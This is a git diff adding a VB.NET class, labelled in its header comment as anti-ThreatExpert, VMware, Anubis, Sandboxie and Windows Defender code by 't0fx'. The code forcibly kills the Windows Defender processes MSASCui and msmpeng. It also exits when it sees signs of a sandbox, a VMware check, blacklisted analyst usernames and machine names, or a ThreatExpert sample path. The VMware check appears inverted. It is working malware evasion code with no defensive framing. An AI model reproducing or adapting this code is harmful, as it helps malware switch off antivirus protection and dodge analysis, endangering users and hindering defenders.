initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,73 @@
+'anti threatExpert, vmWare, Anubis, sandboxie, windows defender by t0fx
+Public Class ant
+    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
+
+    Public Shared Sub mofo()
+        seekit("MSASCui")
+        seekit("msmpeng")
+        antiSandboxie()
+        IsVmWare()
+        AntiThreatExpert()
+        checkUsername()
+        checkComputername()
+    End Sub
+
+    Private Shared Sub seekit(ByVal gay1 As String)
+        For Each p As Process In Process.GetProcesses()
+            If p.ProcessName.Contains(gay1) Then
+                Try
+                    p.Kill()
+                Catch ex As Exception
+                End Try
+            End If
+        Next
+    End Sub
+
+    Private Shared Sub checkUsername()
+        Dim Usernames As New List(Of String)
+        Usernames.Add("UserName")
+        Usernames.Add("User")
+        Usernames.Add("honey")
+        Usernames.Add("sandbox")
+        Usernames.Add("currentuser")
+        Usernames.Add("User")
+        For Each name As String In Usernames
+            If Environment.UserName = name Then
+                Environment.Exit(0)
+            End If
+        Next
+    End Sub
+
+    Private Shared Sub checkComputername()
+        Dim Computername As New List(Of String)
+        Computername.Add("ComputerName")
+        Computername.Add("COMPUTERNAME")
+        Computername.Add("DELL-D3E62F7E26")
+        Computername.Add("DWI-9625AC2E275")
+        Computername.Add("MICHAEL-F156CF7")
+        For Each name As String In Computername
+            If Environment.MachineName = name Then
+                Environment.Exit(0)
+            End If
+        Next
+    End Sub
+
+    Public Shared Sub antiSandboxie()
+        If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
+            Environment.Exit(0)
+        End If
+    End Sub
+    Public Shared Sub IsVmWare()
+        Dim Hndl As Long
+        Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
+        If Hndl = 0 Then
+            Environment.Exit(0)
+        End If
+    End Sub
+
+    Private Shared Sub AntiThreatExpert()
+        If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
+            Environment.Exit(0)
+        End If
+    End Sub
+End Class